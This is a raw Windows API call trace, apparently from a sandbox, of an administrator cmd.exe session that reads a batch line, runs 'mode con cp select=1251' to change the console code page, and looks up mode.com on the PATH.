	[0041.013] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0041.013] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0041.013] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0041.013] _get_osfhandle (_FileHandle=0) returned 0x248
	[0041.013] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0041.013] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0041.013] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0041.013] _get_osfhandle (_FileHandle=0) returned 0x248
	[0041.013] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0041.013] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0041.013] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0041.013] _get_osfhandle (_FileHandle=0) returned 0x248
	[0041.013] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0041.013] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0041.013] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0041.013] _get_osfhandle (_FileHandle=0) returned 0x248
	[0041.013] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0041.013] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0041.013] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0041.013] _get_osfhandle (_FileHandle=0) returned 0x248
	[0041.014] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0041.014] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0041.014] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1
	[0041.014] _get_osfhandle (_FileHandle=0) returned 0x248
	[0041.014] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0041.014] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0041.014] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1
	[0041.014] _get_osfhandle (_FileHandle=0) returned 0x248
	[0041.014] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0041.014] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0041.014] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1
	[0041.014] _get_osfhandle (_FileHandle=0) returned 0x248
	[0041.014] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0041.014] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0041.014] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1
	[0041.014] _get_osfhandle (_FileHandle=0) returned 0x248
	[0041.014] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0041.014] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0041.014] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1
	[0041.014] _get_osfhandle (_FileHandle=0) returned 0x248
	[0041.014] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0041.014] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0041.014] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1
	[0041.015] _get_osfhandle (_FileHandle=0) returned 0x248
	[0041.015] GetFileType (hFile=0x248) returned 0x3
	[0041.015] _get_osfhandle (_FileHandle=0) returned 0x248
	[0041.015] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0041.015] _get_osfhandle (_FileHandle=1) returned 0x254
	[0041.015] GetFileType (hFile=0x254) returned 0x3
	[0041.015] _get_osfhandle (_FileHandle=1) returned 0x254
	[0041.015] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25
	[0041.015] WriteFile (in: hFile=0x254, lpBuffer=0x7ff710d29970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xc2d1b0fad8, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesWritten=0xc2d1b0fad8*=0x18, lpOverlapped=0x0) returned 1
	[0041.015] GetProcessHeap () returned 0x286dddf0000
	[0041.015] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0x4012) returned 0x286dddf8fe0
	[0041.015] GetProcessHeap () returned 0x286dddf0000
	[0041.015] RtlFreeHeap (HeapHandle=0x286dddf0000, Flags=0x0, BaseAddress=0x286dddf8fe0) returned 1
	[0041.015] _wcsicmp (_String1="mode", _String2=")") returned 68
	[0041.015] _wcsicmp (_String1="FOR", _String2="mode") returned -7
	[0041.015] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7
	[0041.016] _wcsicmp (_String1="IF", _String2="mode") returned -4
	[0041.016] _wcsicmp (_String1="IF/?", _String2="mode") returned -4
	[0041.016] _wcsicmp (_String1="REM", _String2="mode") returned 5
	[0041.016] _wcsicmp (_String1="REM/?", _String2="mode") returned 5
	[0041.016] GetProcessHeap () returned 0x286dddf0000
	[0041.016] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0xb0) returned 0x286dddf8320
	[0041.016] GetProcessHeap () returned 0x286dddf0000
	[0041.016] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0x1a) returned 0x286dddf6a80
	[0041.016] GetProcessHeap () returned 0x286dddf0000
	[0041.016] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0x38) returned 0x286dddf1850
	[0041.017] GetConsoleOutputCP () returned 0x1b5
	[0041.533] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff710d2fbb0 | out: lpCPInfo=0x7ff710d2fbb0) returned 1
	[0041.533] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0042.216] GetConsoleTitleW (in: lpConsoleTitle=0xc2d1b0f920, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0042.263] malloc (_Size=0xffce) returned 0x286ddfe0840
	[0042.263] ??_V@YAXPEAX@Z () returned 0x286ddfe0840
	[0042.264] malloc (_Size=0xffce) returned 0x286ddff0820
	[0042.264] ??_V@YAXPEAX@Z () returned 0x286ddff0820
	[0042.264] _wcsicmp (_String1="mode", _String2="DIR") returned 9
	[0042.264] _wcsicmp (_String1="mode", _String2="ERASE") returned 8
	[0042.264] _wcsicmp (_String1="mode", _String2="DEL") returned 9
	[0042.265] _wcsicmp (_String1="mode", _String2="TYPE") returned -7
	[0042.265] _wcsicmp (_String1="mode", _String2="COPY") returned 10
	[0042.265] _wcsicmp (_String1="mode", _String2="CD") returned 10
	[0042.265] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10
	[0042.265] _wcsicmp (_String1="mode", _String2="RENAME") returned -5
	[0042.265] _wcsicmp (_String1="mode", _String2="REN") returned -5
	[0042.265] _wcsicmp (_String1="mode", _String2="ECHO") returned 8
	[0042.265] _wcsicmp (_String1="mode", _String2="SET") returned -6
	[0042.265] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3
	[0042.265] _wcsicmp (_String1="mode", _String2="DATE") returned 9
	[0042.268] _wcsicmp (_String1="mode", _String2="TIME") returned -7
	[0042.268] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3
	[0042.268] _wcsicmp (_String1="mode", _String2="MD") returned 11
	[0042.268] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4
	[0042.268] _wcsicmp (_String1="mode", _String2="RD") returned -5
	[0042.268] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5
	[0042.268] _wcsicmp (_String1="mode", _String2="PATH") returned -3
	[0042.268] _wcsicmp (_String1="mode", _String2="GOTO") returned 6
	[0042.268] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6
	[0042.268] _wcsicmp (_String1="mode", _String2="CLS") returned 10
	[0042.268] _wcsicmp (_String1="mode", _String2="CALL") returned 10
	[0042.268] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9
	[0042.268] _wcsicmp (_String1="mode", _String2="VER") returned -9
	[0042.269] _wcsicmp (_String1="mode", _String2="VOL") returned -9
	[0042.269] _wcsicmp (_String1="mode", _String2="EXIT") returned 8
	[0042.269] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6
	[0042.269] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8
	[0042.269] _wcsicmp (_String1="mode", _String2="TITLE") returned -7
	[0042.269] _wcsicmp (_String1="mode", _String2="START") returned -6
	[0042.269] _wcsicmp (_String1="mode", _String2="DPATH") returned 9
	[0042.269] _wcsicmp (_String1="mode", _String2="KEYS") returned 2
	[0042.269] _wcsicmp (_String1="mode", _String2="MOVE") returned -18
	[0042.269] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3
	[0042.269] _wcsicmp (_String1="mode", _String2="POPD") returned -3
	[0042.269] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12
	[0042.269] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7
	[0042.269] _wcsicmp (_String1="mode", _String2="BREAK") returned 11
	[0042.269] _wcsicmp (_String1="mode", _String2="COLOR") returned 10
	[0042.269] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4
	[0042.269] _wcsicmp (_String1="mode", _String2="DIR") returned 9
	[0042.269] _wcsicmp (_String1="mode", _String2="ERASE") returned 8
	[0042.269] _wcsicmp (_String1="mode", _String2="DEL") returned 9
	[0042.269] _wcsicmp (_String1="mode", _String2="TYPE") returned -7
	[0042.269] _wcsicmp (_String1="mode", _String2="COPY") returned 10
	[0042.269] _wcsicmp (_String1="mode", _String2="CD") returned 10
	[0042.269] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10
	[0042.269] _wcsicmp (_String1="mode", _String2="RENAME") returned -5
	[0042.269] _wcsicmp (_String1="mode", _String2="REN") returned -5
	[0042.269] _wcsicmp (_String1="mode", _String2="ECHO") returned 8
	[0042.269] _wcsicmp (_String1="mode", _String2="SET") returned -6
	[0042.269] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3
	[0042.269] _wcsicmp (_String1="mode", _String2="DATE") returned 9
	[0042.269] _wcsicmp (_String1="mode", _String2="TIME") returned -7
	[0042.269] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3
	[0042.269] _wcsicmp (_String1="mode", _String2="MD") returned 11
	[0042.269] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4
	[0042.269] _wcsicmp (_String1="mode", _String2="RD") returned -5
	[0042.269] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5
	[0042.269] _wcsicmp (_String1="mode", _String2="PATH") returned -3
	[0042.269] _wcsicmp (_String1="mode", _String2="GOTO") returned 6
	[0042.269] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6
	[0042.269] _wcsicmp (_String1="mode", _String2="CLS") returned 10
	[0042.269] _wcsicmp (_String1="mode", _String2="CALL") returned 10
	[0042.269] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9
	[0042.269] _wcsicmp (_String1="mode", _String2="VER") returned -9
	[0042.269] _wcsicmp (_String1="mode", _String2="VOL") returned -9
	[0042.269] _wcsicmp (_String1="mode", _String2="EXIT") returned 8
	[0042.269] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6
	[0042.270] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8
	[0042.270] _wcsicmp (_String1="mode", _String2="TITLE") returned -7
	[0042.270] _wcsicmp (_String1="mode", _String2="START") returned -6
	[0042.270] _wcsicmp (_String1="mode", _String2="DPATH") returned 9
	[0042.270] _wcsicmp (_String1="mode", _String2="KEYS") returned 2
	[0042.270] _wcsicmp (_String1="mode", _String2="MOVE") returned -18
	[0042.270] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3
	[0042.270] _wcsicmp (_String1="mode", _String2="POPD") returned -3
	[0042.270] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12
	[0042.270] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7
	[0042.270] _wcsicmp (_String1="mode", _String2="BREAK") returned 11
	[0042.270] _wcsicmp (_String1="mode", _String2="COLOR") returned 10
	[0042.270] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4
	[0042.270] _wcsicmp (_String1="mode", _String2="FOR") returned 7
	[0042.270] _wcsicmp (_String1="mode", _String2="IF") returned 4
	[0042.270] _wcsicmp (_String1="mode", _String2="REM") returned -5
	[0042.270] ??_V@YAXPEAX@Z () returned 0x1
	[0042.270] GetProcessHeap () returned 0x286dddf0000
	[0042.270] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0xffde) returned 0x286dddf8fe0
	[0042.271] GetProcessHeap () returned 0x286dddf0000
	[0042.271] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0x42) returned 0x286dddf83e0
	[0042.271] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10
	[0042.271] malloc (_Size=0xffce) returned 0x286ddff0820
	[0042.271] ??_V@YAXPEAX@Z () returned 0x286ddff0820
	[0042.271] GetProcessHeap () returned 0x286dddf0000
	[0042.271] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0x1ffac) returned 0x286dde08fd0
	[0042.273] SetErrorMode (uMode=0x0) returned 0x0
	[0042.273] SetErrorMode (uMode=0x1) returned 0x0
	[0042.273] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x286dde08fe0, lpFilePart=0xc2d1b0f1a0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xc2d1b0f1a0*="Desktop") returned 0x17
	[0042.273] SetErrorMode (uMode=0x0) returned 0x1
	[0042.273] GetProcessHeap () returned 0x286dddf0000
	[0042.273] RtlReAllocateHeap (Heap=0x286dddf0000, Flags=0x0, Ptr=0x286dde08fd0, Size=0x4a) returned 0x286dde08fd0
	[0042.273] GetProcessHeap () returned 0x286dddf0000
	[0042.273] RtlSizeHeap (HeapHandle=0x286dddf0000, Flags=0x0, MemoryPointer=0x286dde08fd0) returned 0x4a
	[0042.273] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff710d2bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0042.273] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0042.273] GetProcessHeap () returned 0x286dddf0000
	[0042.273] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0x1bc) returned 0x286dddf6c30
	[0042.273] GetProcessHeap () returned 0x286dddf0000
	[0042.273] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0x368) returned 0x286dde09030
	[0042.280] GetProcessHeap () returned 0x286dddf0000
	[0042.280] RtlReAllocateHeap (Heap=0x286dddf0000, Flags=0x0, Ptr=0x286dde09030, Size=0x1be) returned 0x286dde09030
	[0042.280] GetProcessHeap () returned 0x286dddf0000
	[0042.280] RtlSizeHeap (HeapHandle=0x286dddf0000, Flags=0x0, MemoryPointer=0x286dde09030) returned 0x1be
	[0042.280] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff710d2bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0042.280] GetProcessHeap () returned 0x286dddf0000
	[0042.280] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0xe8) returned 0x286dddf6e00
	[0042.281] GetProcessHeap () returned 0x286dddf0000
	[0042.281] RtlReAllocateHeap (Heap=0x286dddf0000, Flags=0x0, Ptr=0x286dddf6e00, Size=0x7e) returned 0x286dddf6e00
	[0042.282] GetProcessHeap () returned 0x286dddf0000
	[0042.282] RtlSizeHeap (HeapHandle=0x286dddf0000, Flags=0x0, MemoryPointer=0x286dddf6e00) returned 0x7e
	[0042.282] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0042.282] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0xc2d1b0ef10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc2d1b0ef10) returned 0xffffffffffffffff
	[0042.298] GetLastError () returned 0x2
	[0042.298] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0042.299] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\mode.*", fInfoLevelId=0x1, lpFindFileData=0xc2d1b0ef10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc2d1b0ef10) returned 0xffffffffffffffff
	[0042.305] GetLastError () returned 0x2
	[0042.305] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0042.305] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0xc2d1b0ef10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc2d1b0ef10) returned 0x286dddf6e90
	[0042.307] GetProcessHeap () returned 0x286dddf0000
	[0042.307] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x0, Size=0x28) returned 0x286dddf1890
	[0042.307] FindClose (in: hFindFile=0x286dddf6e90 | out: hFindFile=0x286dddf6e90) returned 1
	[0042.307] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0xc2d1b0ef10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc2d1b0ef10) returned 0x286dddf6e90
	[0042.307] GetProcessHeap () returned 0x286dddf0000
	[0042.307] RtlReAllocateHeap (Heap=0x286dddf0000, Flags=0x0, Ptr=0x286dddf1890, Size=0x8) returned 0x286dddf1890
	[0042.307] FindClose (in: hFindFile=0x286dddf6e90 | out: hFindFile=0x286dddf6e90) returned 1
	[0042.307] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1
	[0042.307] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2
	[0042.307] ??_V@YAXPEAX@Z () returned 0x1
	[0042.307] GetConsoleTitleW (in: lpConsoleTitle=0xc2d1b0f490, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0043.466] GetProcessHeap () returned 0x286dddf0000
	[0043.466] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0x21c) returned 0x286dde09200
	[0043.466] GetConsoleTitleW (in: lpConsoleTitle=0x286dde09210, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0043.805] GetProcessHeap () returned 0x286dddf0000
	[0043.805] RtlReAllocateHeap (Heap=0x286dddf0000, Flags=0x0, Ptr=0x286dde09200, Size=0xaa) returned 0x286dde09200
	[0043.805] GetProcessHeap () returned 0x286dddf0000
	[0043.805] RtlSizeHeap (HeapHandle=0x286dddf0000, Flags=0x0, MemoryPointer=0x286dde09200) returned 0xaa
	[0043.805] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - mode  con cp select=1251") returned 1
	[0043.887] GetProcessHeap () returned 0x286dddf0000
	[0043.887] RtlFreeHeap (HeapHandle=0x286dddf0000, Flags=0x0, BaseAddress=0x286dde09200) returned 1
	[0043.887] InitializeProcThreadAttributeList (in: lpAttributeList=0xc2d1b0f3b0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xc2d1b0f2a0 | out: lpAttributeList=0xc2d1b0f3b0, lpSize=0xc2d1b0f2a0) returned 1
	[0043.887] UpdateProcThreadAttribute (in: lpAttributeList=0xc2d1b0f3b0, dwFlags=0x0, Attribute=0x60001, lpValue=0xc2d1b0f28c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xc2d1b0f3b0, lpPreviousValue=0x0) returned 1
	[0043.887] GetStartupInfoW (in: lpStartupInfo=0xc2d1b0f340 | out: lpStartupInfo=0xc2d1b0f340*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) 
	[0043.887] GetProcessHeap () returned 0x286dddf0000
	[0043.887] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0x20) returned 0x286dddf6e90
	[0043.887] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0043.887] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0043.887] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0043.887] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0043.887] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0043.887] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
